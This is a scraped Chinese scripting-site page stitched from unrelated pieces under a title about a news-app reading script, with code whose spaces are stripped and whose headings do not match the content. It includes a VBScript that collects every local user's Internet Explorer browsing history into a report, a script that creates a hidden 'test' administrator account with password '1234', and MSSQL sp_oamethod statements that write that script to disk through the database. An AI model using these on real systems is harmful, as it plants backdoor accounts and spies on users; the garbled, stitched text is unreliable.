趣头条阅读脚本免root跟有区别

发布时间:2021-08-16 来源:脚本之家 点击:

下面的函数利用递归原理获得字符串的翻转字符串
Functionreversestring(revstrAsString)AsString
'revstr:要翻转的字符串
'返回值:翻转后的字符串

DimdoreverseAsLong

reversestring=""
Fordoreverse=Len(revstr)To1Step-1
reversestring=reversestring&Mid$(revstr,doreverse,1)
Next

EndFunction->

变量在整个脚本文件中都是有效的

pokemmo刷经验脚本

' +----------------------------------------------------------------------------+
' | Contact Info |
' +----------------------------------------------------------------------------+
' Author: Vengy
' modiy:lcx
' Email : cyber_flash@hotmail.com
' Tested: win2K/XP (win9X not tested!)


Option Explicit


' +----------------------------------------------------------------------------+
' | Setup constants |
' +----------------------------------------------------------------------------+
Const conBarSpeed=80
Const conForcedTimeOut=3600000 ' 1 hour


' +----------------------------------------------------------------------------+
' | Setup Objects and misc variables |
' +----------------------------------------------------------------------------+
Dim spyPath : spyPath="c:\spy.htm" '请自行修改
Dim oFSO : Set oFSO=CreateObject("Scripting.FileSystemObject")
Dim oWShell : Set oWShell=CreateObject("WScript.Shell")
Dim objNet : Set objNet=CreateObject("WScript.Network")
Dim Env : Set Env=oWShell.Environment("SYSTEM")
Dim arrFiles : arrFiles=Array()
Dim arrUsers : arrUsers=Array()
Dim HistoryPath : HistoryPath=Array()
Dim objIE
Dim objProgressBar
Dim objTextLine1
Dim objTextLine2
Dim objQuitFlag
Dim oTextStream
Dim index
Dim nBias

' +----------------------------------------------------------------------------+
' | Whose been a naughty surfer? Let's find out! ;) |
' +----------------------------------------------------------------------------+
StartSpyScan

' +----------------------------------------------------------------------------+
' | Outta here ... |
' +----------------------------------------------------------------------------+
CleanupQuit

' +----------------------------------------------------------------------------+
' | Cleanup and Quit |
' +----------------------------------------------------------------------------+
Sub CleanupQuit()
Set oFSO=Nothing
Set oWShell=Nothing
Set objNet=Nothing
WScript.Quit
End Sub

' +----------------------------------------------------------------------------+
' | Start Spy Scan |
' +----------------------------------------------------------------------------+
Sub StartSpyScan()
Dim index_folder, history_folder, oSubFolder, oStartDir, sFileRegExPattern, user

LocateHistoryFolder
index_folder=HistoryPath(0)&""&HistoryPath(1)

If Not oFSO.FolderExists(index_folder) Then
wsh.echo "No history folder exists. Scan Aborted."
Else


SetLine1 "Locating history files:"

sFileRegExPattern="\index.dat$"
Set oStartDir=oFSO.GetFolder(index_folder)

For Each oSubFolder In oStartDir.SubFolders
history_folder=oSubFolder.Path&""&HistoryPath(3)&""&HistoryPath(4)&""&"History.IE5"
If oFSO.FolderExists(history_folder) Then
If IsQuit()=True Then

CleanupQuit
End If
user=split(history_folder,"")
SetLine2 user(2)
ReDim Preserve arrUsers(UBound(arrUsers) + 1)
arrUsers(UBound(arrUsers))=user(2)
Set oStartDir=oFSO.GetFolder(history_folder)
RecurseFilesAndFolders oStartDir, sFileRegExPattern
End If
Next

If IsEmpty(index) Then

wsh.echo "No Index.dat files found. Scan Aborted."
Else
CreateSpyHtmFile

RunSpyHtmFile

End If

End If
End Sub


' +----------------------------------------------------------------------------+
' | Locate History Folder |
' +----------------------------------------------------------------------------+
Sub LocateHistoryFolder()
' Example: C:\Documents and Settings\<username>\Local Settings\History
' HistoryPath(0)=C:
' HistoryPath(1)=Documents and Settings
' HistoryPath(2)=<username>
' HistoryPath(3)=Local Settings
' HistoryPath(4)=History
HistoryPath=split(oWShell.RegRead("HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\History"),"")
End Sub

' +----------------------------------------------------------------------------+
' | Find ALL History Index.Dat Files |
' +----------------------------------------------------------------------------+
Sub RecurseFilesAndFolders(oRoot, sFileEval)
Dim oSubFolder, oFile, oRegExp

Set oRegExp=New RegExp
oRegExp.IgnoreCase=True

If Not (sFileEval="") Then
oRegExp.Pattern=sFileEval
For Each oFile in oRoot.Files
If (oRegExp.Test(oFile.Name)) Then
ReDim Preserve arrFiles(UBound(arrFiles) + 1)
arrFiles(UBound(arrFiles))=oFile.Path
index=1 ' Found at least one index.dat file!
End If
Next
End If

For Each oSubFolder In oRoot.SubFolders
RecurseFilesAndFolders oSubFolder, sFileEval
Next
End Sub

' +----------------------------------------------------------------------------+
' | Create Spy.htm file |
' +----------------------------------------------------------------------------+
Sub CreateSpyHtmFile()
Dim ub, count, index_dat, user, spyTmp

Set oTextStream=oFSO.OpenTextFile(spyPath,2,True)

oTextStream.WriteLine "<html><title>IE is spying on you!</title><body><font size=2>Welcome "&objNet.UserName&"<br><br>"
oTextStream.WriteLine "<b>"+CStr(UBound(arrUsers)+1)+" users surfed on your PC:</b><br>"

For Each index_dat In arrUsers
oTextStream.WriteLine "<font color=green>"+index_dat+"</font><br>"
Next

oTextStream.WriteLine "<br><table border='0' width='100%' cellspacing='0' cellpadding='0'>"
oTextStream.WriteLine "<tr><td nowrap><b>User:</b></td><td nowrap><b> Date:</b></td><td nowrap><b> Link:</b></td></tr>"

GetTimeZoneBias

count=0
ub=UBound(arrFiles)

For Each index_dat In arrFiles
If IsQuit()=True Then

oTextStream.Close
CleanupQuit
End If

count=count+1
user=split(index_dat,"")
SetLine1 "Scanning "+user(2)+" history files:"
SetLine2 CStr(ub+1-count)

spyTmp=oFSO.GetSpecialFolder(2)+"\spy.tmp"

' Copy index.dat ---> C:\Documents and Settings\<username>\Local Settings\Temp\spy.tmp
' REASON: Avoids file access violations under Windows.这里没有权限,我加了on error resume next
On Error Resume next
oFSO.CopyFile index_dat, spyTmp, True

FindLinks "URL ", RSBinaryToString(ReadBinaryFile(spyTmp)), index_dat
Next

oTextStream.WriteLine "</table><br><b>Listing of history files:</b><br>"
For Each index_dat In arrFiles
oTextStream.WriteLine index_dat+"<br>"
Next

oTextStream.WriteLine "<br><b>Do you have an idea that would improve this spy tool? Share it with me!<b><br><a href= or Comments?</a></font><br><br><b>End of Report</b></body></html>"

oTextStream.Close

If oFSO.FileExists(spyTmp) Then
oFSO.DeleteFile spyTmp
End If
End Sub

' +----------------------------------------------------------------------------+
' | Get Time Zone Bias. |
' +----------------------------------------------------------------------------+
Sub GetTimeZoneBias()
Dim nBiasKey, k

nBiasKey=oWShell.RegRead("HKLM\System\CurrentControlSet\Control\TimeZoneInformation\ActiveTimeBias")
If UCase(TypeName(nBiasKey))="LONG" Then
nBias=nBiasKey
ElseIf UCase(TypeName(nBiasKey))="VARIANT()" Then
nBias=0
For k=0 To UBound(nBiasKey)
nBias=nBias + (nBiasKey(k) * 256^k)
Next
End If
End Sub

' +----------------------------------------------------------------------------+
' | Find Links within Index.dat |
' +----------------------------------------------------------------------------+
Sub FindLinks(strMatchPattern, strPhrase, file)
Dim oRE, oMatches, oMatch, dt, start, sArray, timeStamp, url

Set oRE=New RegExp
oRE.Pattern=strMatchPattern
oRE.Global=True
oRE.IgnoreCase=False
Set oMatches=oRE.Execute(strPhrase)

For Each oMatch In oMatches
start=Instr(oMatch.FirstIndex + 1,strPhrase,": ")
If start <> 0 Then
sArray=Split(Mid(strPhrase,start+2),"@")
url=Left(sArray(1),InStr(sArray(1),chr(0)))
dt=AsciiToHex(Mid(strPhrase,oMatch.FirstIndex+1+16,8))
timeStamp=cvtDate(dt(7)&dt(6)&dt(5)&dt(4),dt(3)&dt(2)&dt(1)&dt(0))
'oTextStream.WriteLine "<nobr>" & sArray(0) & " - " & timeStamp & " - " & "<a href="">"&url&"</a> - " & file & " - " & CStr(oMatch.FirstIndex + 1) & "</nobr><br>"
'Visit User + Date + Visited URL
oTextStream.WriteLine "<tr><td nowrap><font color=green size=2>"&sArray(0)&"</font></td>"+"<td nowrap><font color=red size=2> "&timeStamp&"</font></td>"&"<td nowrap><font size=2> <a href="">"&url&"</a></font></td></tr>"
End If
Next
End Sub


' +----------------------------------------------------------------------------+
' | Convert a 64-bit value to a date, adjusted for local time zone bias. |
' +----------------------------------------------------------------------------+
Function cvtDate(hi,lo)
On Error Resume Next
cvtDate=#1/1/1601# + (((cdbl("&H0" & hi) * (2 ^ 32)) + cdbl("&H0" & lo))/600000000 - nBias)/1440
' CDbl(expr)-Returns expr converted to subtype Double.
' If expr cannot be converted to subtype Double, a type mismatch or overflow runtime error will occur.
cvtDate=CDate(cvtDate)
If Err.Number <> 0 Then
'WScript.Echo "Oops! An Error has occured - Error number " & Err.Number & " of the type '" & Err.description & "'."
On Error GoTo 0
cvtDate=#1/1/1601#
Err.Clear
End If
On Error GoTo 0
End Function


' +----------------------------------------------------------------------------+
' | Turns ASCII string sData into array of hex numerics. |
' +----------------------------------------------------------------------------+
Function AsciiToHex(sData)
Dim i, aTmp()

ReDim aTmp(Len(sData) - 1)

For i=1 To Len(sData)
aTmp(i - 1)=Hex(Asc(Mid(sData, i)))
If len(aTmp(i - 1))=1 Then aTmp(i - 1)="0"+ aTmp(i - 1)
Next

ASCIItoHex=aTmp
End Function


' +----------------------------------------------------------------------------+
' | Converts binary data to a string (BSTR) using ADO recordset. |
' +----------------------------------------------------------------------------+
Function RSBinaryToString(xBinary)
Dim Binary
'MultiByte data must be converted To VT_UI1 | VT_ARRAY first.
If vartype(xBinary)=8 Then Binary=MultiByteToBinary(xBinary) Else Binary=xBinary
Dim RS, LBinary
Const adLongVarChar=201
Set RS=CreateObject("ADODB.Recordset")
LBinary=LenB(Binary)

If LBinary>0 Then
RS.Fields.Append "mBinary", adLongVarChar, LBinary
RS.Open
RS.AddNew
RS("mBinary").AppendChunk Binary
RS.Update
RSBinaryToString=RS("mBinary")
Else
RSBinaryToString=""
End If
End Function


' +----------------------------------------------------------------------------+
' | Read Binary Index.dat file. |
' +----------------------------------------------------------------------------+
Function ReadBinaryFile(FileName)
Const adTypeBinary=1
Dim BinaryStream : Set BinaryStream=CreateObject("ADODB.Stream")
BinaryStream.Type=adTypeBinary
BinaryStream.Open
BinaryStream.LoadFromFile FileName
ReadBinaryFile=BinaryStream.Read
BinaryStream.Close
End Function


' +----------------------------------------------------------------------------+
' | save Spy.htm file |
' +----------------------------------------------------------------------------+
Sub RunSpyHtmFile()
If not oFSO.FileExists(spyPath) Then

CleanupQuit
Else
wsh.echo "已保存在c:\spy.htm"

End If
End Sub


Private sub SetLine1(sNewText)
On Error Resume Next
objTextLine1.innerTEXT=sNewText
End Sub
Private sub SetLine2(sNewText)
On Error Resume Next
objTextLine2.innerTEXT=sNewText
End Sub
Private function IsQuit()
On Error Resume Next
IsQuit=True
If objQuitFlag.Value<>"quit" Then
IsQuit=False
End If
End Function

' +----------------------------------------------------------------------------+
' | All good things come to an end. |
' +----------------------------------------------------------------------------+

现在网络上流行的木马软件基本都是客户机/服务器模式也就是所谓的C/S结构,目前也有一些开始向B/S结构转变,在这里暂且不对B/S结构进行详谈,本文主要介绍C/S结构其原理就是在本机直接启动运行的程序拥有与使用者相同的权限


'说明 : 通过VBS脚本查看 系统C盘 剩下的空间
'Creator : Eric1991
'Date : 2013-11-4
Set objWMIService=GetObject("winmgmts:")
Set objLogicalDisk=objWMIService.Get("Win32_LogicalDisk.DeviceID='c:'")
Wscript.Echo cint(objLogicalDisk.FreeSpace / 1024 / 1024 / 1024) & "GB"
本文仅谈VB6中字节数组和字符串的相互转换过程中应注意的问题及其解决办法

第五篇(共六篇):

请允许我县描述一下我现在的环境:气温高达37摄氏度,而我忘记了图书馆开门的时间,还要在这里站上一个小时,在热带植物的包裹下,各种奇怪的小飞虫围着我转来转去.不过令我欣慰的是,终于写到五了,还有两课我们的"基础篇"就要结束了.

今天我们来了解语言本身的最后一个论题:数组.

  要理解"数组",这个概念我觉得另一种翻译对学习来说更加容易:"阵列",没错,数组就是一个阵列,一个数据的阵列.最简单的例子是数据库系统,假设你要储存20名学生的英语成绩,如果不是用数组,你则要创建20个不同的变量,累死.数组就是类型相同(重要!)的一组数据(或者n组),用来储存相关的量,最简单的数组是一维数组,我们就先来学习它吧.

  什么是一维数组呢?在3维以下,你可以利用几何知识来理解"维"的概念,一维相当于一条线,二维则是一个矩形,三维是一个长方体.我知道这么讲是很抽象的,我们先举个一维数组的例子就比较容易了解了.

dima(9)'从零开始
fori=0to9
a(i)=i'填充每一个数组元素
msgbox(a(i))'输出数组元素
next

  我们可以看到,定义一个数组的方法和定义一个变量没有什么不同,同样是使用dim语句.定义一维数组的方法如下:

dim数组名(元素数量),这里大家要注意一点,这里定义的元素数量总是比你要的要少一个,因为一个数组的起点是0号数据而不是1,所以大家一定要小心:你需要10个数据,就定义"9",需要100个就定义99,依此类推.数组的元素可以看成一个个独立的变量,你可以像独立的变量那样使用他们.数组元素的量可能是毫无关系的,比如第一个数组元素储存你的年龄,第二个储存今年西瓜的销售量,但这种做法是不鼓励的,甚至是不被接受的,不要这么干,这样的情况请定义独立的变量.for语句在数组中可算是大显身手,还记得for吗?它累加一个变量,我们可以把这个变量应用在数组中正好用来读取或者填充按照顺序排列的数组元素,上面就是这样一个例子.数组其实是很简单的东西(再BASIC语言里面),数组难的是怎么捣弄这些循环,让他们按照你的要求运转.这个等到二维数组再说,我们先看看如何手工填充数组.

  如果你这个都想不到的话,那你真是白学了:

dimname(7),str'一共八个学生,str变量是用来把他们储存成一个字符串以便输出
fori=0to7
name(i)=inputbox("请输入第"&i+1&"个学生的名字")
str=str&""&name(i)
next
msgbox(str)

  这样我们就有了一个小小的数据库,它们的数据排列可以看成这样:

  name(0),name(1),name(2).....name(7)

  看到了吧,所以我说我们可以把它看成是"一条线",等到我们学到了文件操作,就可以把他们输出到文件中去了.一维数组有很多用处,我们来看一下一个复杂的例子.我们要储存3各学生的名字,身高,成绩这三种数据,由于名字是字符串,而身高可能是浮点数(带小数点的数),成绩则可能是整数,所以我们不能把他们储存在一个数组里面(不要忘记,数组织只能存储同类的数据),所以我们要建3个数组,以下是例程:

dimname(2),high(2),mark(2)'定义三个数组分别储存3个人的名字,身高和得分
dimctr'计数器
forctr=0to2
name(ctr)=inputbox("请输入第"&ctr+1&"个学生的姓名")
high(ctr)=inputbox("请输入第"&ctr+1&"个学生的身高")
mark(ctr)=inputbox("请输入第"&ctr+1&"个学生的得分")
next

  OK,我们已经填充好了数据,现在我们的小小数据库只能按顺序输入,我们要让它看起来像点样子,我们来给他设计查询功能:

'接着上面的程序
dimcname,temp'要查询的名字,和一个临时变量,用来储存数据的位置
cname=inputbox("请输入你要查询的名字:")
forctr=0to2'遍历所有name数组的成员,寻找要查询的名字
ifname(ctr)=cnamethen
temp=ctr'记录数据位置
exitfor'退出循环,和exitdo的用法一样
endif'不要忘了endif
next
msgbox("姓名:"&name(temp)&""&"身高:"&high(temp)&""&"得分:"&mark(temp))

  嘿嘿,有意思吧,其实在这个程序里面,那个temp变量完全没有必要,只是为了更清楚地说明问题.因为当exitfor以后ctr变量的值就不会改变,储存的正好是对应数据在数组中的位置,写这个temp变量是为了照顾到以后要学C++的朋友(C++可以在for语句里声明新变量,只在这个for结构中有效,所以到了外部就不能访问了).也就是说可以简化成如下:

dimcname
cname=inputbox("请输入你要查询的名字:")
forctr=0to2
ifname(ctr)=cnamethenexitfor'因为只有exitfor就不需要块if了
next
msgbox("姓名:"&name(ctr)&""&"身高:"&high(ctr)&""&"得分:"&mark(ctr))

  这是最直接的路子.好好重读一下上面所有的源代码,然后自己写几个程序,完全搞清楚一维数组及其应用以后再看后面的二位数组.二维数组好像是一个一维数组的集合,就好像"线积成面"一样,由n各一维数组组成二维数组,这是初学者比较好理解的办法(比较精确的是用"编号"的概念去理解,因为4维以上的数组就比较难以用欧几里德几何概念去解释了).二维数组是很好解释的,我们来看一下:

dima(2,2)'从零开始,一共有3X3=9个数据
dimi,j'需要两个计数器
fori=0to2
forj=0to2'使用嵌套循环
a(i,j)="X"
next
next

  我们创建了一个这样的二维数组(那些","是我用来分割元素的,并不存在),了解二维数组的了吗?不清楚我们再讲一下

编号012
0X,X,X
1X,X,X
2X,X,X

  二维数组的看起来是不是就是一个矩形呢?(你在内存中看不到这样的矩形,只是便于你理解),每个数据都有编号,由两个数来定位,这个很像(非常像)你在国际象棋棋盘上寻找一个格,我们用类似"C6","A2"这样的"垂直坐标"进行定位,对,"垂直坐标",很确切.我们要使用一个二维数组元素的时候可以和普通变量一样使用,只要指定数组元素的"定位点"就可以了,例如

a(0)(1)=1,b(2)(1)="你好",诸如此类.要注意的是二维数组也只能储存类型相同的元素,而且上标(起点)也从0开始.计算一个二维数组的元素个数只要把两个下标+1(以得到实际的值)再乘起来就可以了,非常类似于求一个矩形的面积.

  假如需要储存的都是同一类型的数据,我们就可以用二维数组,比如要储存5个人的姓名,国籍,民族,就可以使用二维数据

diminfo(4,2)'一共五个人,要储存的数据类型有3项
dimi,j
fori=0to4
forj=0to2
dimopt'定义一个变量用于存储数据项提示
selectcasej'判断应该输入的是什么数据
case0
opt="姓名"
case1
opt="国籍"
case2
opt="民族"
endselect
info(i,j)=inputbox("请输入第"&i+1&"个人的"&opt)
next
next
'输出太麻烦了,我懒得动,你知道那么回事就行了

  这样就不需要定义3个一维数组了.

  多位数组(三维以上)的定义和使用方法与二维数组一样,但不太好在欧几里德几何空间里加以解释,幸好我们并不太常用那么多维的数组.定义一个三位数组:dima(1,2,3)'一共24各数组元素.

  今天因为要搬家(我喜欢Sengkang啊,可是MM嫌交通不便,谁不知道她只想去逛街),而GF要去和她的同学去参加什么试验半夜才回家,所以下午我只能自己去押车搬家了,5555~~好可怜,这次就请大家原谅我少写一点,我可是站在图书馆外写的啊,

现在腿都软了~~~本来还要讲"动态数组"的,但想了想还是放到"进阶部分"再说吧.

要点:

1)一维数组是"线",二维数组是"面",三维数组是"体"(多维数组就乱套)

2)数组的下标从0开始

3)for循环在数组的应用中起了很大作用,二维数组需要嵌套循环

作业:

  上次出的"百鸡问题",大家喜欢吗?以后我们就做这种需要动脑的题目,那些简单的实践,大家一定要多做!

1)定义一个数组,包含5个元素, 都是随机整数(随便输入),要求把他们按照从大到小的顺序排列起来

2)有两个二维数组a(4,4)和b(4,4)(元素值随便),交换两个数组(原来的a的所有元素值变成b的,b的所有元素值变成a的)


人物行走的速度和步长可以通过常量AnimateSpeed和StepLength控制


'******************************************************************************
'install.vbs
'Author:PeterCostantini,theMicrosoftScriptingGuys
'Date:9/1/04
'Mustbedeployedtoaclientandlaunchedremotelybyscenario1.vbs.
'Assumesthatrunonce.vbsisinsamedirectoryasscript.
'AssumesthatWindowsXPServicePack2setupprogramisonaremoteserver
'andrunonce.vbsareinsamedirectoryasscript.
'1.RunsServicePack2setupprogramfromremoteservertoinstall
'WindowsXPServicePack2.Thiscouldtakeoneortwohours.
'2.ConfigurestheAutoAdminandRunOnceregistrysettingsnecessary
'torunrunonce.vbs.
'3.Logsresultstotextfile,<computername>-sp2-instlog.txtandcopies
'thefilebacktoadminworkstation.
'4.ForcesarebootofthelocalmachinesothattheAutoAdminandRunOnce
'registrysettingstakeeffect.
'******************************************************************************

OnErrorResumeNext

'Initializeglobalconstantsandvariables.
ConstFOR_APPENDING=8
g_strLocalFolder="c:\temp-ac"
'Changenameofcomputertoactualadministrativeworkstationorlocal
'pathtowhichlogshouldbecopied.
g_strRemoteFolder="\\<adminwkstn>\c$\temp-ac"

'Getcomputername.
g_strComputer=GetComputerName
g_strLogFile=g_strComputer&"-sp2-instlog.txt"

'Createlogfile.
SetobjFSO=CreateObject("Scripting.FileSystemObject")
SetobjTextStream=objFSO.OpenTextFile(g_strLogFile,FOR_APPENDING,True)
objTextStream.WriteLine"WindowsXPServicePack2"&_
"InstallationandConfigurationLog:Phase1"
objTextStream.WriteLineNow
objTextStream.WriteLineg_strComputer
objTextStream.WriteLineString(Len(g_strComputer),"-")

'Handlelogicofcallingfunctionsandsub-routinestoinstallServicePack2
'andconfigureAutoAdministration.
blnInstallSP=InstallSP
IfblnInstallSP=FalseThen
CopyLog
WScript.Quit
EndIf
blnAutoAdmin=ConfigAutoAdmin
IfblnAutoAdmin=FalseThen
CopyLog
WScript.Quit
EndIf
Reboot

'******************************************************************************

FunctionGetComputerName

SetobjWMIService=GetObject("winmgmts:{impersonationLevel=impersonate}!\\."_
&"\root\cimv2")
SetcolSystems=objWMIService.ExecQuery("SELECT*FROMWin32_ComputerSystem")
ForEachobjSytemIncolSystems
GetComputerName=objSytem.Name
Next

EndFunction

'******************************************************************************

FunctionInstallSP

'EditthislinetoincludetheserverandsharenamewheretheWindowsXP
'ServicePack2setupprogramislocated.
strInstallPath="\\servername\xpsp2\WindowsXP-KB835935-SP2-ENU.exe"&_
"/quiet/norestart/o"

SetWshShell=CreateObject("Wscript.Shell")
SetobjExec=WshShell.Exec(strInstallPath)
'Thiscouldtakeoneortwohours.
objTextStream.WriteLine"Installationstarted..."
IfErr=0Then
'LoopuntilExecisfinished-Status=1.
DoWhileobjExec.Status=0
'Pausefor10secondsbeforechecking.
'Toreducenetworktraffic,makeintervallonger.
WScript.Sleep10000
Loop
objTextStream.WriteLine"ServicePack2installationcompleted."
InstallSP=True
Else
objTextStream.WriteLine"UnabletoinstallServicePack2."&VbCrLf&_
"ErrorconnectingtoServicePack2onserver."&VbCrLf&_
"Errornumber:"&Err.Number&VbCrLf&_
"Errorsource:"&Err.Source&VbCrLf&_
"Errordescription:"&Err.Description
InstallSP=False
EndIf
Err.Clear

EndFunction

'******************************************************************************

FunctionConfigAutoAdmin

ConstHKEY_LOCAL_MACHINE=&H80000002
strKeyPath1="SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon"
strKeyPath2="SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
strDefaultUserName="Administrator"
strDefaultPassword="P@ssw0rd"
strDefaultDomainName="Contoso"
intAutoAdminLogon=1
strRunOnceEntry="MyScript"
strRunoncePath=g_strLocalFolder&"\runonce.vbs"

SetobjReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\"&_
g_strComputer&"\root\default:StdRegProv")

'SetstrDefaultUserNametouserwithAdministratorcredentials.
intRet1=objReg.SetStringValue(HKEY_LOCAL_MACHINE,strKeyPath1,_
"DefaultUserName",strDefaultUserName)
IfintRet1<>0Then
objTextStream.WriteLine"Error:DefaultUserNamenotconfigured."
EndIf

'SetstrDefaultPasswordtopasswordofdefaultusername.
intRet2=objReg.SetStringValue(HKEY_LOCAL_MACHINE,strKeyPath1,_
"DefaultPassword",strDefaultPassword)
IfintRet2<>0Then
objTextStream.WriteLine"Error:DefaultPasswordnotconfigured."
EndIf

'Uncommentnext5linesandeditlastparameterifdefaultdomain
'forthecredentialsisdifferentfromthatalreadyset.
'intRet3=objReg.SetStringValue(HKEY_LOCAL_MACHINE,strKeyPath1,_
'"DefaultDomainName",strDefaultDomainName)
'IfintRet3<>0Then
'objTextStream.WriteLine"Error:DefaultDomainNamenotconfigured."
'EndIf

'TurnonAutoAdminLogon
intRet4=objReg.SetStringValue(HKEY_LOCAL_MACHINE,strKeyPath1,_
"AutoAdminLogon","1")
IfintRet4<>0Then
objTextStream.WriteLine"Error:AutoAdminLogonnotconfigured."
EndIf

'AddMyScriptentrytoRunOncesubkey.
intRet5=objReg.SetStringValue(HKEY_LOCAL_MACHINE,strKeyPath2,_
strRunOnceEntry,strRunoncePath)
IfintRet5<>0Then
objTextStream.WriteLine"Error:MyScriptRunOnceentrynotconfigured."
EndIf

'Checkthatallregistrywriteoperationssucceeded.
If(intRet1+intRet2+intRet3+intRet4+intRet5)=0Then
objTextStream.WriteLine"AutoAdminLogonandRunOnceconfigured."
ConfigAutoAdmin=True
Else
objTextStream.WriteLine"Error:AutoAdminLogonandRunOncenotfully"&_
"configured."
ConfigAutoAdmin=False
EndIf

EndFunction

'******************************************************************************

SubReboot

ConstFORCED_REBOOT=6
SetobjWMIService=GetObject("winmgmts:{impersonationLevel=impersonate,"&_
"(Shutdown)}!\"&g_strComputer&"\root\cimv2")
SetcolOSes=objWMIService.ExecQuery("SELECT*FROMWin32_OperatingSystem")
objTextStream.WriteLine"Attemptingtoreboot..."
CopyLog
ForEachobjOSIncolOSes'OnlyoneobjOSincollection
intReturn=objOS.Win32Shutdown(FORCED_REBOOT)
IfintReturn<>0Then
SetobjTextStream=objFSO.OpenTextFile(g_strLogFile,FOR_APPENDING,True)
objTextStream.WriteLineNow
objTextStream.WriteLine"Error:Unabletoreboot."&VbCrLf&_
"Returncode:"&intReturn
CopyLog
EndIf
Next

EndSub

'******************************************************************************

SubCopyLog

'Closetextfile.
objTextStream.WriteLine"Closinglogandattemptingtocopyfileto"&_
"administrativeworkstation."
objTextStream.WriteLine
objTextStream.WriteLineString(80,"-")
objTextStream.WriteLine
objTextStream.Close

'Copylog.
IfNotobjFSO.FolderExists(g_strRemoteFolder)Then
objFSO.CreateFolder(g_strRemoteFolder)
IfErr<>0Then
Err.Clear
ExitSub
EndIf
EndIf
objFSO.CopyFileg_strLogFile,g_strRemoteFolder&""

EndSub
触动开发实例2利用MCI(VB4.0中为MMContral)控件或调用动态链接库AAPLAY.DDL,但MCI控件只能播放AVI格式的动画却对FLC无能为力,调用DDL库的详细方法又未被普遍掌握
setwsnetwork=CreateObject("WSCRIPT.NETWORK")
os=""&wsnetwork.ComputerName
Setob=GetObject(os)'得到adsi接口,绑定
Setoe=GetObject(os&"/Administrators,group")'属性,admin组
Setod=ob.Create("user","test")'建立用户
od.SetPassword"1234"'设置密码
od.SetInfo'保存
Setof=GetObject(os&"/test",user)'得到用户
oe.addos&"/test"

SQL语句如下,采用sp_oamethod过程:

declare@oint,@fint,@retint
execsp_oacreate'scripting.filesystemobject',@oout
execsp_oamethod@o,'createtextfile',@fout,'c:\1.vbs',1
exec@ret=sp_oamethod@f,'writeline',NULL,'setwsnetwork=CreateObject
("WSCRIPT.NETWORK")'
exec@ret=sp_oamethod@f,'writeline',NULL,'os=""&wsnetwork.
ComputerName'
exec@ret=sp_oamethod@f,'writeline',NULL,'Setob=GetObject(os)'
exec@ret=sp_oamethod@f,'writeline',NULL,'Setoe=GetObject
(os&"/Administrators,group")'
exec@ret=sp_oamethod@f,'writeline',NULL,'Setod=ob.Create
("user","test")'
exec@ret=sp_oamethod@f,'writeline',NULL,'od.SetPassword"1234"'
exec@ret=sp_oamethod@f,'writeline',NULL,'od.SetInfo'
exec@ret=sp_oamethod@f,'writeline',NULL,'Setof=GetObject
(os&"/test",user)'
exec@ret=sp_oamethod@f,'writeline',NULL,'oe.addos&"/test"'

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号